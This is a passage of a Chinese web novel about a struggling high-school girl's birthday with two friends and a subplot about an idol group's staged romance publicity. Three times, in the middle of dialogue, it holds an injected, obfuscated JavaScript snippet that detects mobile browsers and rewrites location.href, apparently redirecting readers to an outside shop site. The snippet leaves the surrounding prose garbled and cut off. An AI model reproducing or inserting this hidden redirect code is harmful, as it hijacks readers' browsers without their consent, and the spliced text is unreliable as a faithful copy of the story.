“什么饼干?你买了就自己吃呀,留给我干什么?你学习这么辛苦,买了就自己吃。” 对面絮絮叨叨,声音沙哑,说着自己不饿,说着钱应该都花在苏琬自己身上。 “不行,留给你的。你现在就吃。” 苏琬难得语气强硬。 ——对面却没有回答,还是一直说“留着”“不吃”的碎片话语。 围绕着一包五块钱的饼干,进行的重复的短小的没有意义的回答,在小小的听筒里像幽灵一样游荡。 …… 苏琬的心一点点沉下去。 她走到走廊,抬头。 ——夜空很美,星星很亮。 她的目光落到对面不远处的楼房。 男寝三楼走廊上,一架通身黑色的极其昂贵的天文望远镜,正直直地对着她。 ……耳边幽灵仍在飘荡,一包五块钱的饼干引发的碎碎无序的沙哑声音还在环绕着她。 苏琬站在原地,一动不动地看着。 它安静地、理所当然地矗立在那里,黑色的镜头一尘不染,层层叠叠像是黑洞,像是宇宙的缘起,像是她永远也够不到的遥远星空。 此时此刻,她和这架望远镜在同一层,同一高度,短暂地相遇在三楼。 可是望远镜的镜筒,却朝向了上方墨色漆黑的夜空。 ——她一眨不眨,眼睛干涩,像是有什么液体要滴出来。 …… 她突然做了一个决定。 苏琬出声打断对面的话,声音里带了一丝执着。 “我找了一个兼职,每周末可以赚800块左右。” “我们可以不用那么节约了。” …… 对面愣了愣,声调骤然有些拔高:“什么兼职?” “家教,教初中生。” “……”苏明嘴唇抖了两下,觉得血液都集中到了脑子里。 “苏琬,你知道你现在是高三吗?你每天自己学习的时间都不够,还想着去做家教?!” “位置不远,都在鸡鸣区附近,我以后周末就不回家了。” “你现在是妈妈的话都不听了吗?妈妈在外面工作就是为了你好好学习,你是存心想让妈妈担心吗?!” “我已经和这几个家长都说好了,下周末就开始试课。” “我已经说了好几遍,家里没事!没事!不缺钱!你什么都不用操心,你就好好读书,好好考试!你为什么老是想着赚钱的事呢?!马老师上次家长会还说了你进步很大,让你保持,你要加倍努力,怎么还能分心去做这种事呢?!” “每周有了这800块,我们就能宽裕很多了,你记得每个星期天晚上下班以后都要按时吃晚饭。” ——“苏琬!!!” 苏明极其生气,讲了这么久,苏琬像听不到一样自顾自地交代,根本不是商量,而是单方面地通知。 她痛苦地低吼: “你太让妈妈失望了。” …… 一记沉闷的猛锤砸下来,苏琬站在原地,握着手机,嘴唇颤抖。 电话两端都陷入静默,只留下母女两人遥远且只靠信号才能传递绑定的呼吸声。 明明是曾经一体的血缘关系最浓厚的母女,此时此刻却隔着遥远而不可见的距离。 苏琬模糊中听到自己破碎的声音。 “下个月是爸爸忌日。” “我们一起还债,好不好。” “……”苏明哽咽。 “琬琬,我想你好。” “妈妈,我也想你好。” 苏琬抬头。 星星离她好遥远,哪怕全世界都告诉自己,只要努力学习就可以向高处走,就可以离星星更近一步。 可是她很努力地学,日夜颠倒地伏案,手腕酸痛地执笔,数着星星过了四千个日日夜夜,却还是走不完这段距离。 转身看看,周围的人明明和她走着同一条路,可是TA们却在自行车上,在汽车上,在飞机上,在火箭上。 那些人一路冲得好快,好远,冲到了她望也望不见的地方,溅起了一大片红色的尘土。 ——回头望望,周围唯余寂静,只有自己还在原地。 原来,她怎么可能只用自己的两条腿,走完这漫长的几光年呢。 她的眼泪流下来。 …… 2017年10月22日,晚上十一点四十五分。 距离苏琬的17岁生日还有十五分钟。 她一个人躺在寝室坚硬的单人床板上,四周寂静一片,黑暗像无处不在的雾气一样渗透了她身体的所有毛孔。 …… 突然,电话响起,尖锐的声音打破沉静。 “琬儿!救命!我在我家门口看见杨天奇带着两个男的在等我,他们手上还有刀!我好怕!” 苏琬心一震,一个骨碌从床上坐起来,用最快的速度穿衣服下床,却不小心在黑暗中踩空,从床边两阶楼梯高的地方摔了下去,背上钻心地疼。 她立刻爬起来,跌跌撞撞地穿上鞋,夺门而出。 * 打开寝室们,冲出去的那一瞬间,却在黑暗的楼梯拐角看见两个人影。 ——两个极其熟悉的人影。 一个女生,坐在地上,头上戴着尖尖的派对三角纸帽,手上扯开一条红色的横幅举过头顶,笑得眼睛都眯成了一条缝。 一个男生,散漫地倚在墙边,个子很高,短寸,穿黑色T恤,左手和右手都拎着五颜六色的礼物袋。 而在两人中间的地上,放着一个巨大的三层奶油蛋糕,插满了粉色的蝴蝶结和闪闪的钻石。 中间两根蜡烛“17”微微燃着跳动的火焰,荧照出淡黄色温暖的光,照亮了这一方小小的黑暗的楼梯角,也把这两人笼罩在光明里。 “Surprise!” …… 苏琬静静地站在原地。 她站在楚门一中女生寝室三楼的角落,破旧,黑暗,寂静。 她好像在笑。 可是笑着笑着,却发现脸上一片湿润。 “傻子。害我担心。” 她咧嘴笑出声,可是声音却沙哑哽咽得不像话,喉咙像是吞下了太多酸苦的情绪,在黑暗里待得太久。 …… “看!我提前两周去市中心给你定的三层大蛋糕!上面还有公主蝴蝶结和粉色钻石!你们女孩子是不是都喜欢这个?” “大傻,你是不是傻!我早就跟你说了苏琬不喜欢吃甜的,不要定这么大的蛋糕!你看,她现在都哭了,肯定是不喜欢这个蛋糕!” “她一定喜欢!” “这么大怎么吃得完!” “我们一起吃不就完了!就你事多。” “你还弄个这么大的粉色蝴蝶结,她喜欢的是紫色!不是粉色!” “谁说的!这个粉丝蝴蝶结多好看!” “她不喜欢!” “你说了不算!” “是你了解她还是我了解她?我跟她认识十二年了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252972|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “认识久又怎么样?你的信息早就过时了!” “放你大爷的屁!我跟她之间的所有信息都持续更新!” “你过时!” “你放屁!” “过时!” “放屁!” “过时!” “放屁!” …… 两人吵得不可开交,言辞激烈,难分难解。 …… 苏琬走向两人,坐了下来,拿起旁边的叉子就舀了一块奶油,吃了下去。 “……”吵架声瞬间停止,黄怀予住嘴,转头眼巴巴地观察着她的表情。 “怎么样?是不是觉得太甜?你一直都不喜欢吃甜的东西的。” 苏琬用力咽下去,眼泪滑进衣服里,哭着说:“特别好吃。” 谷奕一下子露出极其得意的笑,长腿一伸,也坐了下来,吊儿郎当地冲着黄怀予龇牙。 他模仿者苏琬抽抽噎噎的声音,复述道:“特别好吃。”又冲黄怀予挤眉弄眼,仿佛赢了全世界。 “那你为什么哭?你说实话!别怕我罩着你!” 黄怀予气愤地瞪谷奕。 苏琬放下叉子,哭得更厉害:“从来没有吃过这么大的蛋糕,太腻,吃不完。” “!”黄怀予闻言一下子支楞起来,看着谷奕瞬间变化的表情,一边大笑一边揽过苏琬的肩膀,安心地敲了敲,摆出一副十分惬意但是欠揍的表情:“太腻,吃不完。” …… 苏琬擦掉眼泪,看着两个人,说: “每次你们一见面,我就只能在旁边听着你们吵架。” “难道今天给我过生日,也只有听你们吵架的环节,没有其他的环节吗?” …… “哦!对哦。光顾着吵架了,差点忘了正事。” 黄怀予一拍脑袋,伸手去旁边的袋子里拿出一大堆五颜六色的东西,然后从里面翻出了一个紫色的纸皇冠,隆重地戴到了苏琬头上。 又抽出了一个绿色的圆框眼镜,打开眼镜腿,插进了谷奕的耳朵里,卡在谷奕额头上。 最后摸摸头,检查了一下自己头上的黄色尖角纸帽。 ——一切都没问题了,她兴冲冲地站起来,掏出手机:“第二个环节,拍照!” 她打开前置:“三——二——一——耶!” 她收回手,看了一眼,点点头:“拍得真好。” ——“第三个环节,收礼物!” 她从谷奕手边拿过那一大堆大大小小的纸袋,兴奋地递给苏琬:“一个个拆。” …… 苏琬拿出第一个,看了看,是一个非常软非常厚的枕头,摸着材质很舒服,但是尺寸却不怎么大。 “第一个礼物!是热心市民林潇潇小姐和李唯艺小姐联合送出,课桌睡觉枕头一个。大小和课桌弯眉适配,趴在上面睡觉,马辉的声音都能成为舒缓的摇篮曲,尖锐的上课铃声都能成为梦中的呼唤。” 苏琬扑哧笑出了声。 她继续拿出第二个,是一个吹风机,但是比起一般的吹风机要小很多,拿在手上正好,很可爱。 “第二个礼物!来自暖心舍友陈静小姐,小功率吹风机一个。知道你舍不得买,于是直接替你做了决定,以后再也不用担心寝室跳闸,也再也不用去一楼公共浴室排队吹头了。她真的,我哭死!” 苏琬目光柔和起来,嘴角漾起一个柔和的弧度。 她迎着黄怀予期待的目光,拿出了第三个。 ——是一个精美的盒子,上面有一个商标“bird”,拆完一层包装还有一层,层层叠叠足足能拆下来三层包装。 拆到最后,苏琬发现是一个粉色的仪器,像一个巨大的耳机,只是这个“耳机”几乎和手一样大。 她把盒子翻过来,只能在楼梯间昏暗的光线下看到“女性”“秘密”“快乐”“吮吸”几个字。 “第三个礼物,来自全世界最了解苏琬的杯子!” “女性小玩具一个。” “三档吮吸,五档震动,全身防水,自动加热,双头秒潮,体内体外,无所不能!为你的17岁带来青春的快乐!” 52. 第 52 章 “第三个礼物,来自全世界最了解苏琬的杯子!” “女性小玩具一个。” “三档吮吸,五档震动,全身防水,自动加热,双头秒潮,体内体外,无所不能!为你的17岁带来青春的快乐!” 话音未落,旁边的谷奕像被雷击中一样迅速跳起来,整个人像一只煮熟的虾,脸一路红到脖子。 “操!” ……谷奕想起自己一路还帮黄怀予一直拎着礼物,还隔着包装袋猜过这是什么东西,结果黄怀予一脸得意地表示你想破脑袋也想不出来。 他咬牙切齿地移开视线: “杯子!你知不知道我还在这里!” 黄怀予:“哦。怎么了。” 他声音颤抖:“你当着我的面送这个……让我以后怎么面对你们?” “咋了,你不手冲?我知道男生都手冲,不还是跟你们处得好好的。” 他有些崩溃地重申道:“你们是女的,我是男的,男女有别!” “哦,你算不上男的。” “……”谷奕声调拔高,“你说什么?!” “哦哦,我的意思是,你在我眼里不算男的。” “……这两句话有区别吗?!” “哦哦哦,我的意思是,你在我眼里没有性别之分。我是女的,是你的姐妹;你是男的,是我的兄弟。我们是相亲相爱一家人。” “……” 谷奕放弃了质问,维持着扭头的动作,站着没动,身体依然僵硬。 苏琬的脸也有些红。她悄悄看了一眼谷奕,又在黄怀予期待无比的热切目光下无奈地说:“谢谢,我很喜欢这个礼物。” ——得到了满意的回答,眼前的女孩终于得意起来,把一旁梗着脖子、硬得像电线杆的谷奕重新拉下来坐着。 苏琬把礼物收起来,微微歪头:“还有吗?” “没了。” “等等……我还有。” 谷奕有些别扭地举手,把自己手边的一个袋子递给苏琬。 ——她去接,指尖不小心擦过谷奕的掌心,带起一阵细腻的摩擦感,对面的男孩立刻触电般收回了手,刚刚才消退的脸现在更红了。 “什么?!”黄怀予不可置信地看着这个袋子,“你不是送的蛋糕吗?怎么还有一个!你也太心机了吧!” 那少年梗着脖子,却还是说道: “蛋糕是蛋糕,礼物是礼物。两码事。” 苏琬有些感动地看着谷奕:“谢谢你,花了双份钱。” 谷奕摸摸鼻子,咧嘴,脸上闪过一丝熟悉的桀骜。 “钱对我来说,是最不值得一提的东西。” “……”苏琬微微愣怔,拆礼物的手顿了一下,又很快恢复正常,抿唇,扯出一个苦涩的笑,点点头。 “是啊。” …… 旁边的黄怀予却很急:“快看快看是什么!一定不要把我的小玩具比下去!” 包装滚落,两人定睛一看,是一支钢笔。 ——“月光?” 黄怀予眼神很好,一下子看出来,这是一个很贵的高级知名钢笔品牌“月光”的经典产品。 苏琬有些惊讶。 “我也听过这个牌子,听说他们家的笔很好用,但是很贵……而且,好像他们家所有的笔都是透明的吧?” 月光所有的笔都是透明笔身的,这也是这个品牌最大的特色。 只是这支笔…… 苏琬拿起来,在昏暗的光线下观察了一下,疑问道: “这是粉色的?” 淡粉色的透明笔身,微微透出里面黑色的墨胆,银色的笔尖锋利干净,镶刻着缠绕的花纹,以及两个小小的英文字母。 ——SW。 “……我找人定制的。” 谷奕微微沉脸,又抿起唇,抬起头。 他认真地注视着苏琬的眼睛。 “你之前给过我一支笔。所以,这是我给你的。” 苏琬愣住。 …… 两人四目相对,对面的男孩神色认真,眼睛明亮,在楼梯间昏暗的光线下却仿佛含了一团火焰。 她一下子想起来了。 8月31日,他转来的的第一天,第一个早自习,他走下讲台,顶着一头黄色的叛逆发色,在全班同学巨大的起哄声中,管自己借了一支笔。 那支笔,是一只很旧的粉色的梦想笔。 ……是因为那支笔是粉色,所以他才那样信誓旦旦地相信,她喜欢粉色吗? 苏琬心头剧烈地颤动,指尖收紧,眼睛酸涩。 半晌,她低头,摸着那支笔,轻声开口。 “那是一支很旧的梦想笔,两块钱。” “和这支四位数的月光,天差地别。” …… “我不在乎钱。” “我在乎的是,它是定制的,世界上独一无二,只属于你。” “……”苏琬低头,不自觉轻蹙起眉,“但是我在乎钱。” “我无法送给你价值相等的礼物。” 对面的少年也皱起了眉,再次重申道:“我不在乎钱。” “不相等的不是价值,是价格。价格有高低,但是价值是最宝贵的。” “所以,你给我的每个东西,在我心里都有着最珍贵的价值。” 一向潇洒飘逸的少年坐在月光下,声音清澈,眼神真诚,带着坚定和承诺。 他的声音也如这月光一般倾泻而下,丝丝麻麻钻进她的身体里,看似柔软却在她的心里卷起巨大的洪流,将一切冲击得粉身碎骨。 …… “价值和价格,你政治必修一满分吧。” 黄怀予拉下嘴角,满脸崩溃地大喊: “喂!!” “你们两个不准在我面前搞暧昧!” 朦胧的气氛瞬间被打破,两人一震,异口同声道:“没有!” “没有?!” “还想骗我,我可是看破暧昧的行家!” 黄怀予的声音黯淡下来,像是一下子想到了什么事。 ——“初中就是这样……” 她说了一半却停了下来,把后面的话咽了下去,掩盖了所有情绪,又抬起头,有点委屈:“现在还是这样!” 黄怀予一下子站起来,掏出兜里的手机,扔在那一堆礼物袋上——像是要把一段刚刚开始就无疾而终的短暂酸涩的遥远暗恋也用力扔出去。 “就连上个网都依然全都是这些人的影子,让我不得安宁!” 这话说得没头没尾,云里雾里。 谷奕没听明白,但是苏琬却听明白了。 苏琬露出一个无奈的笑。 “还没开始,你怎么知道就结束了?” “只是你一看见有第三个人闯进来,就自动退出,乖乖地走起了熟悉的路,开始给他们两个起哄,生怕有人看出你的喜欢,你会觉得没面子。” 她看着黄怀予,声音清清淡淡,话里意有所指: ——“缩头乌龟,纸老虎。” 话语隐晦,但是黄怀予却一下子听懂了。 苏琬的话轻飘飘却像一把刀刺过来,黄怀予被戳中心事,脸瞬间变红,呆呆地看着苏琬,又很快移开目光。 ——半晌,她才低声说: “不用开始,我就知道一定会结束。” “反正每次都是这样。” …… “明明只有一次。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252973|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >苏琬声音沉静,认真地看着她。 “你以后还有很多次。” “为什么会觉得之后的每一次都会像第一次?” “……”黄怀予沉默一瞬,似乎也是在思考这个问题。 最后,她笑了笑,露出一个在众人面前讲笑话的时候、想要逗笑所有人的那种熟悉表情: “因为我长得丑吧。” …… 苏琬立刻变了脸色,满脸不可置信地看着她:“杯子!” 她却满脸无所谓地笑着,像是刚刚在众人面前讲完了一个特别好笑的笑话,摆了摆手,开始吃起蛋糕。 ——“你俩说啥呢?” 谷奕懵逼的声音从旁边传来,黄怀予转头,看见谷奕一脸完全摸不着头脑的表情。 “杯姐,给我解释解释?” 黄怀予看他一眼,突然起了开玩笑的兴趣,问道: “大傻,你觉得我好看吗?” 黄怀予本来是想让对方回答不出来,然后再顺便解释一下,她刚刚跟苏琬聊了这么半天的中心主旨就是,长得丑的人,暗恋一般都不会成功。 “好看啊。” 他想也没想地回答道。 ——黄怀予错愕地停了所有动作。 她呆呆地看着他,像是被抽走了灵魂。 “不过……与其想这个问题的答案,我倒觉得这个问题本身很奇怪。” “你黄怀予,天不怕地不怕,自由潇洒,敢爱敢恨,怎么还会问我这种寻求外貌认同的问题?” “这不像你。” 谷奕低头往嘴里塞了一个蛋糕上的草莓,含含糊糊地说道。 …… 她呆立当场,像是被雷电击中,从天灵盖一直麻到脚后跟。 一秒。 两秒。 三秒。 黄怀予眨着眼,突然开始哈哈大笑。 她笑得很开心,像是想通了什么。 ——可是下一秒,她却紧紧皱着眉,鼻间酸涩,眼泪滚烫地落下来。 泪水糊了满脸,她哭着很用力地点头。 “对。对。” “太他大爷的对了。” …… “你……你别哭啊!” “我说啥了?” 谷奕嘴里的草莓还没咽下去,目瞪口呆地看着面前又笑又哭像是走火入魔般的黄怀予,犹豫又慌乱地递过去一张纸巾。 那张纸巾被一张素白的手接过,又折成了小小的正方形,轻轻地擦过了黄怀予满脸的泪痕。 她泪眼迷蒙中抬头,看见苏琬那双温柔如月光般的眼睛。 “还有最后一个环节。” “我还没许愿呢。” …… 微黄的烛光下,苏琬放下了在胸前合十的手,睁开了眼睛。 “许的啥愿望?”黄怀予凑过去,“是跟我有关的吗?” 谷奕:“别问,这不能说破的。不然就实现不了了。” 黄怀予嘟囔一声:“我才不信这个呢。能不能实现,跟世界无关,只跟我自己有关。” “嗯,就是跟你有关。” 苏琬一口吹灭蜡烛,抬头,看着远方的夜空。 星星很亮,很多,很闪耀。 她眸光闪烁,面容在微弱的月光下像一块美丽而坚硬的玉圭。 ——“我想要刚刚你拍的那张照片。” …… “什么?”黄怀予和谷奕异口同声道,“这就没了?” 她点头。 “打印出来。” “永远留着。” “留在心里。” “……像今夜的星星和月亮一样。” “永远留在心里。” 53. 第 53 章 陆橙没有想到,在微博上随手发出的那个视频,竟然引起了大范围的关注。 昏暗的练习室里,俊男靓女贴身跳着双人舞,CP感十足,质感足可以媲美电影——而曲子本身激烈暧昧,热烈到最后又透着一股悲凉,故事感十足。 视频最后,所有伴舞一起大声鼓掌,楚恒和沈一瑾两人被簇拥在中间,更显得是天造地设一对璧人。 ——足足冲上了热搜。 明红极为惊喜,吩咐公司又买了几个热搜,配合上营销号大肆宣传,给两人的CP造势,也给即将要播出的公司综艺做宣传。 【评论】 “上次那件事我就觉得他们俩最配!听说本来舞蹈挑战也是他们两个录的,如果能让这两个人重录一次就好了。” “STAR的C和MOON的C,师姐师弟,陪伴三年,我大嗑一口。” “之前就听说有个料,有个新娱前员工爆料说本来沈一瑾就想和楚恒一起拍舞蹈挑战。” “她超爱。” “队友陆橙都在嗑,这瓜真的保真。” 热搜一下子上了三个,讨论量越来越多,原来极为冷门的恒瑾CP超话也骤然增加了大量粉丝。 网友这才顺带着发现,原先如此冷门的超话里居然仍然有人持之以恒地坚持更新了三年,不少人都涌进了超话主持人“恒瑾一生”发的那条置顶视频“我们的三年”里打卡。 ——第二天,“恒瑾一生”更新了一条新视频,“练习室里两颗年轻的心”。 素材全部来自于此次楚恒和沈一瑾合作的练习室视频,音乐到位,氛围感十足,封面抢眼,在某视频网站上迅速冲到百万播放。 明红立刻意识到这是一个新的可以挖掘的点,于是迅速让运营出了一个新的话题“粉丝追星可以有多么真心”,把“恒瑾一生”在没有流量的时候也坚持了三年,最后成功看着喜欢的CP火起来的故事大肆推广。 ——成功再加了一把火。 梁吟东本身对利用综艺炒CP这件事没有太大兴趣。 因为这样吸引来的大多都是热度粉,不长久,没法转化提纯,浪头过后就重归寂静。 但是眼看着这一周以来明红做得风生水起,热搜上流量不断,终究也还是被明红说动了,“有流量总比没有好”。 她趁机推了一把STAR之前发的新歌,又给STAR争取来了两个综艺可以打歌露脸。多重热度之下,上手新歌MV播放量也终于是破了百万,一时间也算小小破圈。 …… 楚恒这段时间无比忙碌。 一方面他要练习舞台,要录制公司综艺;另一方面也要和团队一起上节目排练。 行程一下子变多,他对待所有事情又都很认真,几乎每天都极为忙碌。 关于这段时间突如其来的流量和资源,梁吟东也并没有提到沈一瑾以及后续公司整体关于CP的策划,只是说两人上次的合作舞台反响很好,嘱咐楚恒好好表现抓住机会。 因此,楚恒也完全没时间去关注网上的热度浪潮。 ——更何况,他也习惯了这样。 忙碌的日子让他空洞的心好像有了一点实感。 又是一天身披月光从练习室里走出来。月亮半亮,盈凸转满,逐渐被照亮一大半。 他脚步放缓,垂衫独立,一个人清清朗朗站在月光下,像以前那样,无数次地抬头仰望。 ——可是不知道为什么,他此刻却突然觉得这月光太冷。 像霜,像雪,像无人之地的冰川,没有人靠近,没有人在意。 现在的他,好像慢慢变得更喜欢看太阳。 看初升的朝阳,温暖炎热,光明洒落,好像自己也同样沐浴在光明里。 …… 楚恒难得想要去思考一件事。 为什么? ——人之所以可以看见月亮,是因为反射了太阳的光,被太阳照亮。 ——太阳是所有东西的源头吧。 “是金子总会发光的。” 那句话,那个语气,那个身影,又丝丝缕缕出现在他脑海里。 是吗? 楚恒不知道眼下的忙碌是不是一种“发光”的前兆,不知道他距离他的梦想还有多遥远。他心里隐约觉得好像成名的顺序不应该是这样,尽管他自己都不知道应该是什么样。 他只知道,此时此刻,他突然执着地、十分渴望地,想要寻求一个答案。 ——他想见她。 * 李鸣月收到楚恒的消息的时候,十分惊喜。 “楚恒!还没恭喜你,我看了你那个练习室,跳得很好啊!” “期待你们综艺播出!我肯定去期期给你投票!” “你问最近1969有没有演出?” 她想了想,突然灵光一现。 “你还别说,我还真打算弄一个活动。” “马上就双十一了,那天正好周六。我打算弄个酒吧单身夜,只接纳单身者。演出人员正好还有一个歌手没定,你要是有空,欢迎你来!” * 楚恒走在夜色下,一步步走进公司宿舍大门。 他低头看着手机,脸上出现了自己都没有意识到的刹那轻松。 …… 前方却突然撞见一个人。 是顾安。 顾安最近也很忙。新歌大C,热度有了上涨,除了团体活动和公司综艺以外,他是最近唯一有个人行程的人。 “……现在才回?” 两人擦肩而过之时,顾安转身,主动搭话。 “去练习室了?” 楚恒站定,慢慢转过身来,看他一眼。 随后,轻微地点了头。 紧接着就转身准备离开。 然而顾安却突然停住,目光向下,注意到了楚恒手上的手机。 ——他好像换手机了。 之前好像是黑色的。 现在他手腕垂下,指骨突出,轻轻捏着一片薄薄的机身——是白色的。 …… “弄脏了。” “所以换了一个新的。” 楚恒这样平淡地说道。 顾安站在原地,脑子里一下子想到,之前的某一天,他也是这样,晚上在宿舍门口,遇见了买手机回来的楚恒。 ——弄脏了? 作为楚恒三年的队友,顾安当然知道楚恒有洁癖。 不仅如此,他还知道,楚恒的洁癖,更多是对人。 …… 他突然想起碰见楚恒的那一天,正好是舞蹈挑战引发舆论、公司开会命令他们发澄清微博的那一天。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252974|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那天出去聚餐了,当时宿舍里就只有赵焰和陈影在。 赵焰早在下午就发了澄清微博,而楚恒是那天晚上才在最后发出来的,内容语气也并不像他平时编辑微博会发的句子。 ——几乎是一刹那,顾安立刻就想象到了,宿舍里的两人是怎样发生的冲突,以及那条微博是怎么被发出来的。 所以,这就是他那天晚上立刻面色冰冷地出去买手机的原因? ——就因为赵焰碰了他的手机,用他的手机发了微博? “弄脏了。” “所以换了一个新的。” …… 脏? 顾安对着面前的人古井无波的眼神,突然就有点生气。 “大家都是队友,没必要这样吧。” “队友?” 楚恒看着他,平静地复述,不带任何语气。 然而这副样子落在顾安眼里,却让顾安觉得他是在冷嘲热讽。 顾安更生气了。 自从新歌发布以来,顾安每一次表演站到Center位的时候,都还会不自觉想到之前在董事长面前撒谎的事情。 他总会不自觉涌上一丝愧疚,觉得自己好像抢走了楚恒的东西。 ——可是现在,顾安却突然觉得,所有这些都是楚恒应得的。 楚恒此人性格冷僻,不喜欢搭理他们,一身傲气,自视甚高,月度考核永远要甩第二名一大截,每次接到Center的位置和分段都心安理得地接受。 明明大家都糊,他凭什么? ——那一刻,他终于深刻地理解了赵焰。 顾安一个人站在原地,脑内峰回路转想了很久。 再抬起头时,前方早就无人了。 …… 忽然,旁边的墙角里却一下子窜出来一个人影,娇娇怯怯地喊:“顾安!” 他吓了一跳,退后几步,发现自己并不认识这个女生。 ——对方脸上带着惊喜和羞怯,他一下子反应过来,是私生粉。 “……”顾安只觉惊恐和愤怒,没想到她们居然能追到公司宿舍来,也不知道是怎么过的楼下安检。 她不管不顾地纠缠上来,顾安不知道还有没有人在旁边录像,只能压下心头的火气,劝解了很久让她回去。 那女生死缠烂打靠近许久,终于还是失望地走了。 …… 楼梯间,王栗垂着头,紧紧捏着手机。 总算见到了他,他可真好看…… 可是,她藏在墙角的时候,竟然还看见了楚恒,听见了楚恒和顾安说话。 她模模糊糊听见顾安说: “大家都是队友,没必要这样吧。” 王栗第一反应是两个人吵架了。但是她还没来得及反应一下这句话什么意思,就看到楚恒走了,只剩顾安一个人在那里,于是想也没想就出去见他了。 ……可是他好像不怎么欢迎自己……还一味地让她赶紧离开。 王栗有些失望地下着楼梯,想要离开新娱公司宿舍。 ——却在一个转角被叫住。 转过身,是一个三十多岁的中年男人,脸上带着笑,眼睛里却透露出精明和算计,右边颧骨上有一小块红色胎记。 “我是STAR经纪人。” “我们聊一下吧。” 54. 第 54 章 楚门一中。 谷奕觉得自己是疯了。 他这辈子都从来没有想到,自己居然可以活得用“起早贪黑”这个词语形容。 ——虽然全校学生都是这个作息。 每天早晨六点半,他雷打不动地走出男生寝室大门,先去食堂买好两人份的早餐,然后再去女生寝室楼下接苏琬,扶着她去教室。 每天晚上十点,他风雨无阻地拿起苏琬的拐杖,十分自觉地走出教学楼,扶她回寝室。 两人一起吃早饭,一起吃午饭,一起吃晚饭,一起在教室里学习,出了教室一起回寝室。 这样日子莫名其妙很平静。 …… 谷奕也终于明白了,为什么之前黄怀予和苏琬每天都活得很平静,在教室里像两个机器人一样做题。 ——不像他刚来的时候,上蹿下跳,像个猴子。 如果知道自己时时刻刻在干什么,就可以静下心来,看见自己的未来。 ——苏琬和黄怀予就是这么想的。 谷奕知道,她们两个人构想的未来里,一定是有对方的。 他坐在两人之间,突然生出了一股强烈的没脸没皮的渴望。 ——就是,如果不嫌拥挤的话,她们两人的未来里,也带上他吧。 …… 对于谷奕这一切的转变,马辉都看在眼里。 他上周还听地理老师说起了那节效果很好的分享课。 ——所有人都觉得谷奕叛逆乖戾不服管教,可是没人能想到,他居然能考出那么高的地理分数,站在讲台上不太熟练却清清楚楚地讲着宇宙和地球知识。 而这一切,都是因为地理课代表的一力举荐。 …… “我的地理课代表可真是慧眼识珠。” 地理老师站在文综办公室中间,举着保温杯,充满自豪地给所有政史地老师介绍着。 “哟,这么高的评价啊?” 隔壁二班历史老师笑着调侃:“你的课代表是黄怀予吧?” “哦!怪不得呢。” 八班地理老师本来还对这出黄毛叛逆转学生突然大转变考出了一个82分的大戏听得震惊,却突然听到“黄怀予”这个名字,一下子松口气。 “是黄怀予,那就不奇怪了。” “那姑娘,看着就机灵,又是一班第一名。” “听说谷奕转学过来没几个月,现在也跟黄怀予玩得好得不行,跟穿同一条裤子似的。” “哟,看来马老师的‘近朱者赤’战略起效了啊。”二班历史老师迅速注意到躲在一边装作不在意其实在努力偷听的马辉,立刻顺着马辉的意思开始夸,“还是马老师育人有方啊。” ——马辉一下子成为整个办公室话题中心,立刻挺直了腰杆,面上明明早就对二班历史老师的夸奖受用得不行,但是嘴上却还是说: “过奖,过奖。学习了一下毛主席的改造思想。” …… “哎呦!” 马辉一句话瞬间引起了文综办公室所有老师的笑声。 “你瞧瞧人家马老师,觉悟多高啊,毛主席都出来了!” …… 马辉跟着吹水了半天,直到上课了才端一杯橘子罐头玻璃杯装的水,慢悠悠地走到了五楼,准备上课。 走到了一班教室后门,却没进去,而是立刻换上了一副班主任专用阴沉脸,从后门门缝里望进去。 ——吵吵闹闹,一点都没有上课的样子。 后排的体育生全都趴着,不是在课桌下面玩手机就是在看闲书。 马辉脸色越来越难看,可是目光往前扫视,就立刻有所舒缓——你看,我班上的好学生还是安安静静坐在前排,认认真真看书的。 就比如自己最器重的第一名—— 马辉一脸满意地朝前排望去。 ——却远远地看见,那个自己寄予厚望的全班第一,正把手机光明正大地拿到了桌面上,扶着头,刷得那叫一个起劲。 ……马辉嘴角立刻僵住。 “上课!” 他没好气地走进去,把书用力摔在讲台上。 一节课40分钟,马辉心情极差地讲着课,还时不时去瞪黄怀予一眼。 ——却见人家根本没看见,一节政治课40分钟,有半小时都低着头,心不在焉,不知道在想什么。 连前面的谷奕都拿着笔听得认真,黄怀予却在这里开小差! “……”马辉更生气了,合上手里的卷子,“黄怀予!” ——下面坐着的那个正在神游天外的短发女生立刻被吓得一抖。 全班其他学生也被他这突如其来的一声给吓了一跳,一时间全都抬起了头。 “……”他盯着她,脸色不好看,“你说这道题为什么选C。” …… 黄怀予愣了愣,慢慢站起来。 她拿起手边的卷子,沉默了五秒,然后直截了当地说: “对不起老师,你说的是哪道题?” 